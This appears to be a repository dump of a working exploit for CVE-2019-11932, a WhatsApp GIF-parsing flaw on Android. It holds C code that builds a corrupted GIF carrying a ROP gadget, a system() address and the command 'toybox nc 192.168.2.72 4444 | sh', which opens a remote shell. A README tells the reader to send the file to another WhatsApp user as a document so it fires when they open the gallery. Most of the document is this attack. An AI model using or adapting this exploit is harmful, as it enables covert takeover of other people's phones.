├── README.md ├── egif_lib.c ├── exploit.c └── gif_lib.h /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-11932-whatsap-exploit 2 | 3 | The address of system() and the gadget must be replaced by the actual address found by an information disclosure vulnerability. 4 | 5 | After replacing address of system() and gadget. Run the code to generate the corrupted GIF file: 6 | 7 | now lets do it 8 | 9 | root@mranonymousTZ:~/root/Desktop/CVE-2019-11932-whatsap-exploit$ chmod +x build.py 10 | ``` 11 | root@mranonymousTZ:~/root/Desktop/CVE-2019-11932-whatsap-exploit$ ./build.py 12 | ..... 13 | ..... 14 | ..... 15 | root@mranonymousTZ:~/root/Desktop/CVE-2019-11932-whatsap-exploit$ ./exploit 16 | buffer = 0x7ffc586cd8b0 size = 266 17 | 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC 18 | FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 19 | 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 20 | 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 | 00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0 22 | C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40 23 | C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A 24 | 34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00 25 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 27 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 29 | 00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00 30 | 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 31 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 | 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 33 | 18 00 0A 00 0F 00 01 00 00 3B 34 | ``` 35 | 36 | Then copy the content into a GIF file and send it as Document with WhatsApp to another WhatsApp user. Take note that it must not be sent as a Media file, otherwise WhatsApp tries to convert it into an MP4 before sending. Upon the user receives the malicous GIF file, nothing will happen until the user open WhatsApp Gallery to send a media file to his/her friend. 37 | -------------------------------------------------------------------------------- /egif_lib.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "gif_lib.h" 6 | 7 | static int EGifBufferedOutput(GifFilePrivateType *Private, int c) { 8 | Private->Buf[0] = 0; 9 | Private->Buf[++(Private->Buf[0])] = c; 10 | Private->OutBuf[Private->OutBufLen++] = c; 11 | return GIF_OK; 12 | } 13 | 14 | static int EGifCompressOutput(GifFilePrivateType *Private, const int Code) 15 | { 16 | int retval = GIF_OK; 17 | 18 | if (Code == FLUSH_OUTPUT) { 19 | while (Private->CrntShiftState > 0) { 20 | /* Get Rid of what is left in DWord, and flush it. */ 21 | if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR) 22 | retval = GIF_ERROR; 23 | Private->CrntShiftDWord >>= 8; 24 | Private->CrntShiftState -= 8; 25 | } 26 | Private->CrntShiftState = 0; /* For next time. */ 27 | if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) 28 | retval = GIF_ERROR; 29 | } else { 30 | Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState; 31 | Private->CrntShiftState += Private->RunningBits; 32 | while (Private->CrntShiftState >= 8) { 33 | /* Dump out full bytes: */ 34 | if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR) 35 | retval = GIF_ERROR; 36 | Private->CrntShiftDWord >>= 8; 37 | Private->CrntShiftState -= 8; 38 | } 39 | } 40 | 41 | /* If code cannt fit into RunningBits bits, must raise its size. Note */ 42 | /* however that codes above 4095 are used for special signaling. */ 43 | if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) { 44 | Private->MaxCode1 = 1 << ++Private->RunningBits; 45 | } 46 | 47 | return retval; 48 | } 49 | 50 | int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen) 51 | { 52 | int i = 0, CrntCode, NewCode; 53 | unsigned long NewKey; 54 | GifPixelType Pixel; 55 | 56 | if (Private->CrntCode == FIRST_CODE) /* Its first time! */ 57 | CrntCode = Line[i++]; 58 | else 59 | CrntCode = Private->CrntCode; /* Get last code in compression. */ 60 | 61 | while (i < LineLen) { /* Decode LineLen items. */ 62 | Pixel = Line[i++]; /* Get next pixel from stream. */ 63 | 64 | if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) { 65 | return GIF_ERROR; 66 | } 67 | CrntCode = Pixel; 68 | 69 | /* If however the HashTable if full, we send a clear first and 70 | * Clear the hash table. 71 | */ 72 | if (Private->RunningCode >= LZ_MAX_CODE) { 73 | /* Time to do some clearance: */ 74 | if (EGifCompressOutput(Private, Private->ClearCode) 75 | == GIF_ERROR) { 76 | return GIF_ERROR; 77 | } 78 | Private->RunningCode = Private->EOFCode + 1; 79 | Private->RunningBits = Private->BitsPerPixel + 1; 80 | Private->MaxCode1 = 1 << Private->RunningBits; 81 | } 82 | 83 | } 84 | 85 | /* Preserve the current state of the compression algorithm: */ 86 | Private->CrntCode = CrntCode; 87 | 88 | if (Private->PixelCount == 0) { 89 | /* We are done - output last Code and flush output buffers: */ 90 | if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) { 91 | return GIF_ERROR; 92 | } 93 | if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) { 94 | return GIF_ERROR; 95 | } 96 | if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) { 97 | return GIF_ERROR; 98 | } 99 | } 100 | 101 | return GIF_OK; 102 | } 103 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | #include "gif_lib.h" 2 | 3 | #define ONE_BYTE_HEX_STRING_SIZE 3 4 | static inline void 5 | get_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) { 6 | int i; 7 | unsigned int byte_no = 0; 8 | if (buf_len <= 0) { 9 | if (hex_len > 0) { 10 | hex_[0] = '\0'; 11 | } 12 | return; 13 | } 14 | if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1) 15 | return; 16 | do { 17 | for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) { 18 | snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff); 19 | hex_ += ONE_BYTE_HEX_STRING_SIZE; 20 | hex_len -=ONE_BYTE_HEX_STRING_SIZE; 21 | buf_len--; 22 | } 23 | if (buf_len > 1) { 24 | snprintf(hex_, hex_len, "\n"); 25 | hex_ += 1; 26 | } 27 | } while ((buf_len) > 0 && (hex_len > 0)); 28 | } 29 | 30 | int genLine_0(unsigned char *buffer) { 31 | /* 32 | 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 33 | 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 34 | 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 35 | 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 36 | 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 37 | 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 38 | 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 39 | 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 40 | 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. 41 | 42 | Over-write AAAAAAAA with address of gadget 1 43 | Over-write BBBBBBBB with address of system() function 44 | 45 | Gadget 1 46 | ldr x8, [x19, #0x18] 47 | add x0, x19, #0x20 48 | blr x8 49 | */ 50 | unsigned char hexData[138] = { 51 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 52 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 53 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 54 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 55 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 56 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 57 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 58 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 59 | 0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF 60 | }; 61 | memcpy(buffer, hexData, sizeof(hexData)); 62 | 63 | /* 64 | Gadget g1: 65 | ldr x8, [x19, #0x18] 66 | add x0, x19, #0x20 67 | blr x8 68 | */ 69 | size_t g1_loc = 0x7cb81f0954; // replace this 70 | memcpy(buffer + 128, &g1_loc, 8); 71 | 72 | size_t system_loc = 0x7cb602ce84; // replace this 73 | memcpy(buffer + 24, &system_loc, 8); 74 | 75 | char *command = "toybox nc 192.168.2.72 4444 | sh"; 76 | memcpy(buffer + 32, command, strlen(command)); 77 | 78 | return sizeof(hexData); 79 | }; 80 | 81 | int main(int argc, char *argv[]) { 82 | GifFilePrivateType Private = { 83 | .Buf[0] = 0, 84 | .BitsPerPixel = 8, 85 | .ClearCode = 256, 86 | .EOFCode = 257, 87 | .RunningCode = 258, 88 | .RunningBits = 9, 89 | .MaxCode1 = 512, 90 | .CrntCode = FIRST_CODE, 91 | .CrntShiftState = 0, 92 | .CrntShiftDWord = 0, 93 | .PixelCount = 112, 94 | .OutBuf = { 0 }, 95 | .OutBufLen = 0 96 | }; 97 | int size = 0; 98 | unsigned char buffer[1000] = { 0 }; 99 | 100 | unsigned char line[500] = { 0 }; 101 | int line_size = genLine_0(line); 102 | EGifCompressLine(&Private, line, line_size); 103 | 104 | unsigned char starting[48] = { 105 | 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC, 106 | 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 107 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08 108 | }; 109 | unsigned char padding[2] = { 0xFF, 0xFF }; 110 | unsigned char ending[61] = { 111 | 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 112 | 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 113 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 114 | 0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B 115 | }; 116 | 117 | // starting bytes 118 | memcpy(buffer + size, starting, sizeof(starting)); 119 | size += sizeof(starting); 120 | 121 | // size of encoded line + padding 122 | int tmp = Private.OutBufLen + sizeof(padding); 123 | buffer[size++] = tmp; 124 | 125 | // encoded-line bytes 126 | memcpy(buffer + size, Private.OutBuf, Private.OutBufLen); 127 | size += Private.OutBufLen; 128 | 129 | // padding bytes of 0xFFs to trigger info->rewind(info); 130 | memcpy(buffer + size, padding, sizeof(padding)); 131 | size += sizeof(padding); 132 | 133 | // ending bytes 134 | memcpy(buffer + size, ending, sizeof(ending)); 135 | size += sizeof(ending); 136 | 137 | char hex_dump[5000]; 138 | get_hex(buffer, size, hex_dump, 5000, 16); 139 | printf("buffer = %p size = %d\n%s\n", buffer, size, hex_dump); 140 | } 141 | -------------------------------------------------------------------------------- /gif_lib.h: -------------------------------------------------------------------------------- 1 | /****************************************************************************** 2 | 3 | gif_lib.h - service library for decoding and encoding GIF images 4 | 5 | *****************************************************************************/ 6 | 7 | #ifndef _GIF_LIB_H_ 8 | #define _GIF_LIB_H_ 1 9 | 10 | #define GIF_ERROR 0 11 | #define GIF_OK 1 12 | 13 | #include 14 | #include 15 | 16 | typedef signed char __int8_t; 17 | typedef unsigned char __uint8_t; 18 | typedef short __int16_t; 19 | typedef unsigned short __uint16_t; 20 | typedef int __int32_t; 21 | typedef unsigned int __uint32_t; 22 | #if defined(__LP64__) 23 | typedef long __int64_t; 24 | typedef unsigned long __uint64_t; 25 | #else 26 | typedef long long __int64_t; 27 | typedef unsigned long long __uint64_t; 28 | #endif 29 | #if defined(__LP64__) 30 | typedef long __intptr_t; 31 | typedef unsigned long __uintptr_t; 32 | #else 33 | typedef int __intptr_t; 34 | typedef unsigned int __uintptr_t; 35 | #endif 36 | typedef __int8_t int8_t; 37 | typedef __uint8_t uint8_t; 38 | typedef __int16_t int16_t; 39 | typedef __uint16_t uint16_t; 40 | typedef __int32_t int32_t; 41 | typedef __uint32_t uint32_t; 42 | typedef __int64_t int64_t; 43 | typedef __uint64_t uint64_t; 44 | typedef __intptr_t intptr_t; 45 | typedef __uintptr_t uintptr_t; 46 | typedef int8_t int_least8_t; 47 | typedef uint8_t uint_least8_t; 48 | typedef int16_t int_least16_t; 49 | typedef uint16_t uint_least16_t; 50 | typedef int32_t int_least32_t; 51 | typedef uint32_t uint_least32_t; 52 | typedef int64_t int_least64_t; 53 | typedef uint64_t uint_least64_t; 54 | typedef int8_t int_fast8_t; 55 | typedef uint8_t uint_fast8_t; 56 | typedef int64_t int_fast64_t; 57 | typedef uint64_t uint_fast64_t; 58 | #if defined(__LP64__) 59 | typedef int64_t int_fast16_t; 60 | typedef uint64_t uint_fast16_t; 61 | typedef int64_t int_fast32_t; 62 | typedef uint64_t uint_fast32_t; 63 | #else 64 | typedef int32_t int_fast16_t; 65 | typedef uint32_t uint_fast16_t; 66 | typedef int32_t int_fast32_t; 67 | typedef uint32_t uint_fast32_t; 68 | #endif 69 | 70 | #define GIF_STAMP "GIFVER" /* First chars in file - GIF stamp. */ 71 | #define GIF_STAMP_LEN sizeof(GIF_STAMP) - 1 72 | #define GIF_VERSION_POS 3 /* Version first character in stamp. */ 73 | 74 | typedef unsigned char GifPixelType; 75 | typedef unsigned char GifByteType; 76 | typedef unsigned int GifPrefixType; 77 | typedef uint_fast16_t GifWord; 78 | 79 | typedef struct GifColorType { 80 | uint8_t Red, Green, Blue; 81 | } GifColorType; 82 | 83 | typedef struct ColorMapObject { 84 | uint_fast16_t ColorCount; 85 | uint_fast8_t BitsPerPixel; 86 | // bool SortFlag; 87 | GifColorType *Colors; /* on malloc(3) heap */ 88 | } ColorMapObject; 89 | 90 | typedef struct GifImageDesc { 91 | GifWord Left, Top, Width, Height; /* Current image dimensions. */ 92 | bool Interlace; 93 | /* Sequential/Interlaced lines. */ 94 | ColorMapObject *ColorMap; /* The local color map */ 95 | } GifImageDesc; 96 | 97 | //typedef struct ExtensionBlock { 98 | // int ByteCount; 99 | // GifByteType *Bytes; /* on malloc(3) heap */ 100 | // int Function; /* The block function code */ 101 | #define CONTINUE_EXT_FUNC_CODE 0x00 /* continuation subblock */ 102 | #define COMMENT_EXT_FUNC_CODE 0xfe /* comment */ 103 | #define GRAPHICS_EXT_FUNC_CODE 0xf9 /* graphics control (GIF89) */ 104 | #define PLAINTEXT_EXT_FUNC_CODE 0x01 /* plaintext */ 105 | #define APPLICATION_EXT_FUNC_CODE 0xff /* application block */ 106 | //} ExtensionBlock; 107 | 108 | typedef struct SavedImage { 109 | GifImageDesc ImageDesc; 110 | // GifByteType *RasterBits; /* on malloc(3) heap */ 111 | // int ExtensionBlockCount; /* Count of extensions before image */ 112 | // ExtensionBlock *ExtensionBlocks; /* Extensions before image */ 113 | } SavedImage; 114 | 115 | #define EXTENSION_INTRODUCER 0x21 116 | #define DESCRIPTOR_INTRODUCER 0x2c 117 | #define TERMINATOR_INTRODUCER 0x3b 118 | 119 | #define LZ_MAX_CODE 4095 /* Biggest code possible in 12 bits. */ 120 | #define LZ_BITS 12 121 | 122 | #define FLUSH_OUTPUT 4096 /* Impossible code, to signal flush. */ 123 | #define FIRST_CODE 4097 /* Impossible code, to signal first. */ 124 | #define NO_SUCH_CODE 4098 /* Impossible code, to signal empty. */ 125 | 126 | //#define FILE_STATE_WRITE 0x01 127 | //#define FILE_STATE_SCREEN 0x02 128 | //#define FILE_STATE_IMAGE 0x04 129 | //#define FILE_STATE_READ 0x08 130 | 131 | //#define IS_READABLE(Private) (Private->FileState & FILE_STATE_READ) 132 | 133 | 134 | struct GifFileType; 135 | /* func type to read gif data from arbitrary sources (TVT) */ 136 | typedef uint_fast8_t (*InputFunc)(struct GifFileType *, GifByteType *, uint_fast8_t); 137 | 138 | typedef struct GifFilePrivateType { 139 | GifWord //FileState, /*FileHandle,*/ /* Where all this data goes to! */ 140 | BitsPerPixel, /* Bits per pixel (Codes uses at least this + 1). */ 141 | ClearCode, /* The CLEAR LZ code. */ 142 | EOFCode, /* The EOF LZ code. */ 143 | RunningCode, /* The next code algorithm can generate. */ 144 | RunningBits, /* The number of bits required to represent RunningCode. */ 145 | MaxCode1, /* 1 bigger than max. possible code, in RunningBits bits. */ 146 | LastCode, /* The code before the current code. */ 147 | CrntCode, /* Current algorithm code. */ 148 | StackPtr, /* For character stack (see below). */ 149 | CrntShiftState; 150 | /* Number of bits in CrntShiftDWord. */ 151 | unsigned long CrntShiftDWord; 152 | /* For bytes decomposition into codes. */ 153 | uint_fast32_t PixelCount; 154 | /* Number of pixels in image. */ 155 | // FILE *File; 156 | /* File as stream. */ 157 | InputFunc Read; /* function to read gif input (TVT) */ 158 | // OutputFunc Write; /* function to write gif output (MRB) */ 159 | GifByteType Buf[256]; 160 | unsigned char OutBuf[500]; 161 | int OutBufLen; 162 | /* Compressed input is buffered here. */ 163 | GifByteType Stack[LZ_MAX_CODE]; 164 | /* Decoded pixels are stacked here. */ 165 | GifByteType Suffix[LZ_MAX_CODE + 1]; 166 | /* So we can trace the codes. */ 167 | GifPrefixType Prefix[LZ_MAX_CODE + 1]; 168 | // bool gif89; 169 | } GifFilePrivateType; 170 | 171 | typedef struct GifFileType { 172 | GifWord SWidth, SHeight; /* Size of virtual canvas */ 173 | // GifWord SColorResolution; /* How many colors can we generate? */ 174 | GifWord SBackGroundColor; /* Background color for virtual canvas */ 175 | // GifByteType AspectByte; /* Used to compute pixel aspect ratio */ 176 | ColorMapObject *SColorMap; 177 | /* Global colormap, NULL if nonexistent. */ 178 | uint_fast32_t ImageCount; 179 | /* Number of current image (both APIs) */ 180 | GifImageDesc Image; 181 | /* Current image (low-level API) */ 182 | SavedImage *SavedImages; /* Image sequence (high-level API) */ 183 | // int ExtensionBlockCount; /* Count extensions past last image */ 184 | // ExtensionBlock *ExtensionBlocks; /* Extensions past last image */ 185 | int Error; 186 | /* Last error condition reported */ 187 | void *UserData; 188 | /* hook to attach user data (TVT) */ 189 | GifFilePrivateType *Private; /* Don't mess with this! */ 190 | } GifFileType; 191 | 192 | //#define GIF_ASPECT_RATIO(n) ((n)+15.0/64.0) 193 | 194 | typedef enum { 195 | UNDEFINED_RECORD_TYPE, 196 | SCREEN_DESC_RECORD_TYPE, 197 | IMAGE_DESC_RECORD_TYPE, /* Begin with ',' */ 198 | EXTENSION_RECORD_TYPE, /* Begin with '!' */ 199 | TERMINATE_RECORD_TYPE /* Begin with ';' */ 200 | } GifRecordType; 201 | 202 | /* func type to read gif data from arbitrary sources (TVT) */ 203 | typedef uint_fast8_t (*InputFunc)(GifFileType *, GifByteType *, uint_fast8_t); 204 | 205 | /****************************************************************************** 206 | GIF89 structures 207 | ******************************************************************************/ 208 | 209 | typedef struct GraphicsControlBlock { 210 | uint_fast8_t DisposalMode; 211 | #define DISPOSAL_UNSPECIFIED 0 /* No disposal specified. */ 212 | #define DISPOSE_DO_NOT 1 /* Leave image in place */ 213 | #define DISPOSE_BACKGROUND 2 /* Set area too background color */ 214 | #define DISPOSE_PREVIOUS 3 /* Restore to previous content */ 215 | // bool UserInputFlag; /* User confirmation required before disposal */ 216 | uint_fast32_t DelayTime; 217 | /* pre-display delay in 0.01sec units */ 218 | int TransparentColor; /* Palette index for transparency, -1 if none */ 219 | #define NO_TRANSPARENT_COLOR -1 220 | } GraphicsControlBlock; 221 | 222 | /****************************************************************************** 223 | GIF decoding routines 224 | ******************************************************************************/ 225 | 226 | /* Main entry points */ 227 | GifFileType *DGifOpen(void *userPtr, InputFunc readFunc, int *Error); 228 | 229 | /* new one (TVT) */ 230 | int DGifCloseFile(GifFileType *GifFile); 231 | 232 | #define D_GIF_ERR_OPEN_FAILED 101 /* And DGif possible errors. */ 233 | #define D_GIF_ERR_READ_FAILED 102 234 | #define D_GIF_ERR_NOT_GIF_FILE 103 235 | #define D_GIF_ERR_NO_SCRN_DSCR 104 236 | #define D_GIF_ERR_NO_IMAG_DSCR 105 237 | #define D_GIF_ERR_NO_COLOR_MAP 106 238 | #define D_GIF_ERR_WRONG_RECORD 107 239 | #define D_GIF_ERR_DATA_TOO_BIG 108 240 | #define D_GIF_ERR_NOT_ENOUGH_MEM 109 241 | #define D_GIF_ERR_CLOSE_FAILED 110 242 | #define D_GIF_ERR_NOT_READABLE 111 243 | #define D_GIF_ERR_IMAGE_DEFECT 112 244 | #define D_GIF_ERR_EOF_TOO_SOON 113 245 | 246 | #define E_GIF_SUCCEEDED 0 247 | #define E_GIF_ERR_OPEN_FAILED 1 /* And EGif possible errors. */ 248 | #define E_GIF_ERR_WRITE_FAILED 2 249 | #define E_GIF_ERR_HAS_SCRN_DSCR 3 250 | #define E_GIF_ERR_HAS_IMAG_DSCR 4 251 | #define E_GIF_ERR_NO_COLOR_MAP 5 252 | #define E_GIF_ERR_DATA_TOO_BIG 6 253 | #define E_GIF_ERR_NOT_ENOUGH_MEM 7 254 | #define E_GIF_ERR_DISK_IS_FULL 8 255 | #define E_GIF_ERR_CLOSE_FAILED 9 256 | #define E_GIF_ERR_NOT_WRITEABLE 10 257 | 258 | /* These are legacy. You probably do not want to call them directly */ 259 | int DGifGetScreenDesc(GifFileType *GifFile); 260 | 261 | int DGifGetRecordType(GifFileType *GifFile, GifRecordType *GifType); 262 | 263 | int DGifGetImageDesc(GifFileType *GifFile, bool changeImageCount); 264 | 265 | int DGifGetLine(GifFileType *GifFile, GifPixelType *GifLine, uint_fast32_t GifLineLen); 266 | 267 | int DGifGetExtension(GifFileType *GifFile, int *GifExtCode, 268 | GifByteType **GifExtension); 269 | 270 | int DGifGetExtensionNext(GifFileType *GifFile, GifByteType **GifExtension); 271 | 272 | int DGifGetCodeNext(GifFileType *GifFile, GifByteType **GifCodeBlock); 273 | 274 | int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen); 275 | /***************************************************************************** 276 | Everything below this point is new after version 1.2, supporting `slurp 277 | mode' for doing I/O in two big belts with all the image-bashing in core. 278 | ******************************************************************************/ 279 | 280 | /****************************************************************************** 281 | Color map handling from gif_alloc.c 282 | ******************************************************************************/ 283 | 284 | extern ColorMapObject *GifMakeMapObject(uint_fast8_t BitsPerPixel, 285 | const GifColorType *ColorMap); 286 | 287 | extern void GifFreeMapObject(ColorMapObject *Object); 288 | 289 | //extern int GifBitSize(int n); 290 | #include 291 | #include 292 | #include 293 | #include 294 | 295 | /****************************************************************************** 296 | Support for the in-core structures allocation (slurp mode). 297 | ******************************************************************************/ 298 | 299 | //extern void GifFreeExtensions(int *ExtensionBlock_Count, 300 | // ExtensionBlock **ExtensionBlocks); 301 | extern void GifFreeSavedImages(GifFileType *GifFile); 302 | 303 | /****************************************************************************** 304 | 5.x functions for GIF89 graphics control blocks 305 | ******************************************************************************/ 306 | 307 | int DGifExtensionToGCB(const size_t GifExtensionLength, 308 | const GifByteType *GifExtension, 309 | GraphicsControlBlock *GCB); 310 | 311 | #endif /* _GIF_LIB_H */ 312 | 313 | /* end */ 314 | --------------------------------------------------------------------------------